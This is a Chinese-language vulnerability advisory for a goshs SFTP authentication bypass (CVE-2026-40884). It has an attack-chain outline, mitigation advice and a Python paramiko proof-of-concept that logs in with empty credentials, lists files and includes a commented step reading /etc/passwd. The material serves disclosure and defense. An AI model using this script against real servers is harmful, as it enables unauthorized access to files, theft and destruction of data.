IPBUF安全漏洞报告
English
CVE-2026-40884 CVSS 9.8 严重

CVE-2026-40884 goshs SFTP认证绕过漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-40884
漏洞类型
认证绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
goshs

相关标签

认证绕过SFTPgoshs未授权访问Go

漏洞概述

goshs是基于Go语言开发的SimpleHTTPServer。在2.0.0-beta.6版本之前的版本中存在一处SFTP认证绕过漏洞。当管理员使用空用户名的Basic Auth语法(即-b ':pass')并结合-sftp参数启动服务器时,goshs虽然接受了该配置,但却未能为SFTP服务安装正确的密码处理程序。这导致未经身份验证的远程攻击者可以直接连接SFTP服务,在无密码的情况下读取、修改或删除服务器上的文件。

技术细节

该漏洞源于goshs在处理特定认证配置时的逻辑错误。根据文档,用户可以使用-b ':pass'来设置仅包含密码(无用户名)的HTTP Basic认证。然而,当同时启用SFTP功能(-sftp)时,程序代码未能将此认证逻辑正确映射到SFTP子系统中。具体而言,SFTP服务的初始化流程中跳过了密码验证回调函数的安装,导致服务实际上处于开放状态。攻击者利用此漏洞,无需任何凭证即可建立SFTP连接。由于SFTP协议允许完整的文件系统操作,攻击者不仅可以下载敏感数据(机密性影响),还能上传恶意文件或删除关键数据(完整性和可用性影响),从而导致严重的远程代码执行风险或系统瘫痪。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描目标网络,识别出运行goshs服务且开启了SFTP端口(通常为22或自定义端口)的主机。
STEP 2
2. 漏洞利用
攻击者使用SFTP客户端(如Paramiko脚本或命令行工具)尝试连接目标服务。由于配置漏洞,服务器未要求密码或直接接受了空凭证。
STEP 3
3. 获取访问权限
成功建立未授权的SFTP会话,获取服务器文件系统的读写权限。
STEP 4
4. 数据窃取或破坏
攻击者下载敏感文件,上传Webshell或勒索软件,删除系统关键文件,造成数据泄露或服务中断。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import paramiko import sys # Exploit for CVE-2026-40884: goshs SFTP Authentication Bypass # Target: goshs < 2.0.0-beta.6 started with `-b ':pass'` and `-sftp` def exploit(target_ip, target_port): try: # Create a transport client transport = paramiko.Transport((target_ip, target_port)) # Attempt to connect without authentication (or empty credentials) # The vulnerability allows bypassing the password check transport.connect(username='', password='') sftp = paramiko.SFTPClient.from_transport(transport) print("[+] Connection established! Authentication bypassed.") # List files to prove access files = sftp.listdir('.') print(f"[+] Files in root directory: {files}") # Example: Read a sensitive file # try: # with sftp.file('/etc/passwd', 'r') as f: # print(f.read().decode()) # except: # pass sftp.close() transport.close() except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: python {sys.argv[0]} <IP> <PORT>") else: exploit(sys.argv[1], int(sys.argv[2]))

影响范围

goshs < 2.0.0-beta.6

防御指南

临时缓解措施
如果无法立即升级,建议立即停止使用SFTP功能(删除启动脚本中的-sftp参数),或者更换使用具备完整认证机制的其他SFTP服务器软件,并确保服务仅在内网可信环境中运行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表